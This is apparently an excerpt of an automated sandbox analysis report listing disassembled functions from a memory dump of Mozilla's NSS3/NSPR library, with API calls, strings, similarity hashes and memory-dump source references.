Part of subcall function 6CC19090: LeaveCriticalSection.KERNEL32 ref: 6CC1913F

FreeLibrary.KERNEL32(?), ref: 6CB4AF6D
free.MOZGLUE(?), ref: 6CB4AFA4
free.MOZGLUE(?), ref: 6CB4AFAA
PR_ExitMonitor.NSS3 ref: 6CB4AFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6CB4AFF5
PR_ExitMonitor.NSS3 ref: 6CB4B005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CB4B014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6CB4B028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CB4B03C

Strings

%s decr => %d, xrefs: 6CB4AFF0
Unloaded library %s, xrefs: 6CB4B023

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: a428a1cbaf4376f27ecdb8719bb19f0852e843695d92215aff665d07d9a6d907
Instruction ID: 96e062620d018d92a6d4fe318405397df22fc654a8b7b866d0acbeeba42ba9c3
Opcode Fuzzy Hash: a428a1cbaf4376f27ecdb8719bb19f0852e843695d92215aff665d07d9a6d907
Instruction Fuzzy Hash: BB3109B5B08151ABDF019FA5EC40A19B775EB05309B148135E805D7F44F332E825EBE6

Function 6CB96C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CB9781D,00000000,6CB8BE2C,?,6CB96B1D,?,?,?,?,00000000,00000000,6CB9781D), ref: 6CB96C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CB9781D,?,6CB8BE2C,?), ref: 6CB96C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CB9781D), ref: 6CB96C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CB96C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CB96C96

Part of subcall function 6CB41240: TlsGetValue.KERNEL32(00000040,?,6CB4116C,NSPR_LOG_MODULES), ref: 6CB41267
Part of subcall function 6CB41240: EnterCriticalSection.KERNEL32(?,?,?,6CB4116C,NSPR_LOG_MODULES), ref: 6CB4127C
Part of subcall function 6CB41240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CB4116C,NSPR_LOG_MODULES), ref: 6CB41291
Part of subcall function 6CB41240: PR_Unlock.NSS3(?,?,?,?,6CB4116C,NSPR_LOG_MODULES), ref: 6CB412A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CB96CAA

Strings

extern:, xrefs: 6CB96C7E
sql:, xrefs: 6CB96C52
dbm, xrefs: 6CB96CA4
NSS_DEFAULT_DB_TYPE, xrefs: 6CB96C91
rdb:, xrefs: 6CB96C69
dbm:, xrefs: 6CB96C3A

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: b6d74b528d466bd22c752257185a9f21663797650b62ca507e3c4234075c074b
Instruction ID: 2695f14ed6eab60ea7901f2eb9dc6e9c90ae49a9daf860ab56f6ddceb89c1d87
Opcode Fuzzy Hash: b6d74b528d466bd22c752257185a9f21663797650b62ca507e3c4234075c074b
Instruction Fuzzy Hash: 3A01A2B170339127FA4027B96D8AF6A356CDF42258F140431FE04E1981FBA2E51481E6

Function 6CBA4E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6CB678F8), ref: 6CBA4E6D

Part of subcall function 6CB409E0: TlsGetValue.KERNEL32(00000000,?,?,?,6CB406A2,00000000,?), ref: 6CB409F8
Part of subcall function 6CB409E0: malloc.MOZGLUE(0000001F), ref: 6CB40A18
Part of subcall function 6CB409E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6CB40A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6CB678F8), ref: 6CBA4ED9

Part of subcall function 6CB95920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6CB97703,?,00000000,00000000), ref: 6CB95942
Part of subcall function 6CB95920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CB97703), ref: 6CB95954
Part of subcall function 6CB95920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CB9596A
Part of subcall function 6CB95920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CB95984
Part of subcall function 6CB95920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6CB95999
Part of subcall function 6CB95920: free.MOZGLUE(00000000), ref: 6CB959BA
Part of subcall function 6CB95920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6CB959D3
Part of subcall function 6CB95920: free.MOZGLUE(00000000), ref: 6CB959F5
Part of subcall function 6CB95920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6CB95A0A
Part of subcall function 6CB95920: free.MOZGLUE(00000000), ref: 6CB95A2E
Part of subcall function 6CB95920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6CB95A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6CB678F8), ref: 6CBA4EB3

Part of subcall function 6CBA4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CBA4EB8,?,?,?,?,?,?,?,?,?,?,6CB678F8), ref: 6CBA484C
Part of subcall function 6CBA4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CBA4EB8,?,?,?,?,?,?,?,?,?,?,6CB678F8), ref: 6CBA486D
Part of subcall function 6CBA4820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6CBA4EB8,?), ref: 6CBA4884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CB678F8), ref: 6CBA4EC0

Part of subcall function 6CBA4470: TlsGetValue.KERNEL32(00000000,?,6CB67296,00000000), ref: 6CBA4487
Part of subcall function 6CBA4470: EnterCriticalSection.KERNEL32(?,?,?,6CB67296,00000000), ref: 6CBA44A0
Part of subcall function 6CBA4470: PR_Unlock.NSS3(?,?,?,?,6CB67296,00000000), ref: 6CBA44BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6CB678F8), ref: 6CBA4F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CB678F8), ref: 6CBA4F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6CB678F8), ref: 6CBA4F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CB678F8), ref: 6CBA4F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6CB678F8), ref: 6CBA4F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CB678F8), ref: 6CBA4F8F
PK11_UpdateSlotAttribute.NSS3(?,6CC7DCB0,00000000), ref: 6CBA4FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6CBA501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6CB678F8), ref: 6CBA506B

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: df111c146543bafbacf0174ceef7a1b4d061195dc9e67a6ba1982d8117fc56b3
Instruction ID: fbea4c8278483ddb366a22df16658dad5f35dc24f73be54752c04e3b53a5fb0f
Opcode Fuzzy Hash: df111c146543bafbacf0174ceef7a1b4d061195dc9e67a6ba1982d8117fc56b3
Instruction Fuzzy Hash: CF5125B1D046819BEB119FA5EC05A9F77B4FF0531CF140535E88A92F11FB32D61ACA92

Function 6CB4ACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB4ACE2
malloc.MOZGLUE(00000001), ref: 6CB4ACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CB4AD02
TlsGetValue.KERNEL32 ref: 6CB4AD3C
calloc.MOZGLUE(00000001,?), ref: 6CB4AD8C
PR_Unlock.NSS3 ref: 6CB4ADC0
free.MOZGLUE(00000000), ref: 6CB4AE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CB4AE58
free.MOZGLUE(00000000), ref: 6CB4AE69
free.MOZGLUE(?), ref: 6CB4AE78
PR_Unlock.NSS3 ref: 6CB4AE8C
free.MOZGLUE(?), ref: 6CB4AEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CB4AEC7

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: 9bf5cbe7d80509da9d2620d52cf87895db0d691dc660c0acf6400712462370f9
Instruction ID: 62947de0e154849ac8bdc95cb13a9fd1bf95c03a9f8d97695ba8229f20a485f7
Opcode Fuzzy Hash: 9bf5cbe7d80509da9d2620d52cf87895db0d691dc660c0acf6400712462370f9
Instruction Fuzzy Hash: 5F51ACB0E491669BDB00DFE8DC45AAE77B4EB06348F248035D814A3B00E331E955DFD6

Function 6CB8ADC0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageSignInit), ref: 6CB8ADE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CB8AE17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CB8AE29

Part of subcall function 6CC6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CC6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CB8AE3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CB8AE78
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CB8AE8A
PR_LogPrint.NSS3(?,00000000), ref: 6CB8AEA0

Strings

(CK_INVALID_HANDLE), xrefs: 6CB8AE1F, 6CB8AE80
hKey = 0x%x, xrefs: 6CB8AE62, 6CB8AE72
C_MessageSignInit, xrefs: 6CB8ADE1
hSession = 0x%x, xrefs: 6CB8AE01, 6CB8AE11

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageSignInit
API String ID: 332880674-605059067
Opcode ID: 6b4ac51509645734b5269f0d645e2cb23dfd696e0a85a69132b126bd7986706e
Instruction ID: 4a430d65cd76dad28e8b1375f0e208aea97859bf395be1b718e4e638d2cf372f
Opcode Fuzzy Hash: 6b4ac51509645734b5269f0d645e2cb23dfd696e0a85a69132b126bd7986706e
Instruction Fuzzy Hash: AF31F871602144ABCB00DF55DD98FAE37B5EB4530EF184824E509ABB81EB309849CFA6

Function 6CB89EE0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageEncryptInit), ref: 6CB89F06
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CB89F37
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CB89F49

Part of subcall function 6CC6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CC6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CB89F5F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CB89F98
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CB89FAA
PR_LogPrint.NSS3(?,00000000), ref: 6CB89FC0

Strings

(CK_INVALID_HANDLE), xrefs: 6CB89F3F, 6CB89FA0
hKey = 0x%x, xrefs: 6CB89F82, 6CB89F92
hSession = 0x%x, xrefs: 6CB89F21, 6CB89F31
C_MessageEncryptInit, xrefs: 6CB89F01

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageEncryptInit
API String ID: 332880674-1139731676
Opcode ID: f415c9dee9f19ffc7d6ed5ebc2ce2efe3243e7fc593f9da5892fac61e1471a5a
Instruction ID: 12b86e9ddc00aa24ed254d61bfe69a2f51e497c4b8c924309f78b3901d5c620e
Opcode Fuzzy Hash: f415c9dee9f19ffc7d6ed5ebc2ce2efe3243e7fc593f9da5892fac61e1471a5a
Instruction Fuzzy Hash: EA312C71A06284AFDF04DF54DD98FAE3779EB4130DF084424F509ABB41EB309848CB96

Function 6CC24C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6CC24CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CC24CFD
sqlite3_value_text16.NSS3(?), ref: 6CC24D44

Strings

bad parameter or other API misuse, xrefs: 6CC24D05
unknown error, xrefs: 6CC24D56
another row available, xrefs: 6CC24D20
invalid, xrefs: 6CC24CF1
API call with %s database connection pointer, xrefs: 6CC24CF6
abort due to ROLLBACK, xrefs: 6CC24D27, 6CC24D33
out of memory, xrefs: 6CC24C78, 6CC24C9E
no more rows available, xrefs: 6CC24D2E

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: fb1cecdceeba0c53694379408cc112a65fcdc6c882b590231f4edc08a501a784
Instruction ID: 71b7b273562091f7162952c1f1e4170bda71e9d56dd8172127e92b6bbe4011f9
Opcode Fuzzy Hash: fb1cecdceeba0c53694379408cc112a65fcdc6c882b590231f4edc08a501a784
Instruction Fuzzy Hash: 5F319C73E0985167D708CB2DE8007A97B32B782358F150569D8244BF54F7ADAC1287E2

Function 6CB82DD0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6CB82DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CB82E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CB82E33

Part of subcall function 6CC6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CC6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CB82E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CB82E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CB82E81

Strings

(CK_INVALID_HANDLE), xrefs: 6CB82E2C
hSession = 0x%x, xrefs: 6CB82E0E, 6CB82E1E
pPin = 0x%p, xrefs: 6CB82E63
C_InitPIN, xrefs: 6CB82DF1
ulPinLen = %d, xrefs: 6CB82E7C

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN
API String ID: 1003633598-1777813432
Opcode ID: 97fdef51f0d460ea40fd57fe47f3e249b72db986c1271385d0373af250ae5619
Instruction ID: 434e023beaebb9d346b9f644b9b988f44c38b009e3e5296c16f9ecc6e8117065
Opcode Fuzzy Hash: 97fdef51f0d460ea40fd57fe47f3e249b72db986c1271385d0373af250ae5619
Instruction Fuzzy Hash: 1F31E975602194ABDB109B55DD9CB8E37B5EB4231EF044024E809ABB51EB309D49CBBA

Function 6CB86EF0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestUpdate), ref: 6CB86F16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CB86F44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CB86F53

Part of subcall function 6CC6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CC6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CB86F69
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6CB86F88
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6CB86FA1

Strings

ulPartLen = %d, xrefs: 6CB86F9C
(CK_INVALID_HANDLE), xrefs: 6CB86F4C
hSession = 0x%x, xrefs: 6CB86F2E, 6CB86F3E
C_DigestUpdate, xrefs: 6CB86F11
pPart = 0x%p, xrefs: 6CB86F83

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_DigestUpdate
API String ID: 1003633598-226530419
Opcode ID: 6b829c1cc28b9b9c0b08a7c6dfd00066cacf840ec465bdd55944c735a936b2f9
Instruction ID: ac7b1fe85516a109565032f0dfcd7c36e140ab01fae909bc996426abd8a3be6b
Opcode Fuzzy Hash: 6b829c1cc28b9b9c0b08a7c6dfd00066cacf840ec465bdd55944c735a936b2f9
Instruction Fuzzy Hash: 5931D374612194AFDF00DB65DD98B8A37B5EB4231EF084025F809EBA51EB30DD48CBA6

Function 6CB87E00 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyUpdate), ref: 6CB87E26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CB87E54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CB87E63

Part of subcall function 6CC6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CC6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CB87E79
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6CB87E98
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6CB87EB1

Strings

ulPartLen = %d, xrefs: 6CB87EAC
(CK_INVALID_HANDLE), xrefs: 6CB87E5C
hSession = 0x%x, xrefs: 6CB87E3E, 6CB87E4E
pPart = 0x%p, xrefs: 6CB87E93
C_VerifyUpdate, xrefs: 6CB87E21

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_VerifyUpdate
API String ID: 1003633598-2508624608
Opcode ID: 9da01b2a455ddc185ed40057413caffc55d7530b41811f1ec241ae99e5500654
Instruction ID: 9efba2ff4355c877ae2951bf78782b44c07438f267dfd4bf238305d1807a58db
Opcode Fuzzy Hash: 9da01b2a455ddc185ed40057413caffc55d7530b41811f1ec241ae99e5500654
Instruction Fuzzy Hash: 39310B74B02184ABDB108B55DD98F8E37B9EB4231EF084024F809BBB51EB309C09CBB5

Function 6CB87F30 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyFinal), ref: 6CB87F56
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CB87F84
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CB87F93

Part of subcall function 6CC6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CC6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CB87FA9
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6CB87FC8
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6CB87FE1

Strings

(CK_INVALID_HANDLE), xrefs: 6CB87F8C
hSession = 0x%x, xrefs: 6CB87F6E, 6CB87F7E
pSignature = 0x%p, xrefs: 6CB87FC3
C_VerifyFinal, xrefs: 6CB87F51
ulSignatureLen = %d, xrefs: 6CB87FDC

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

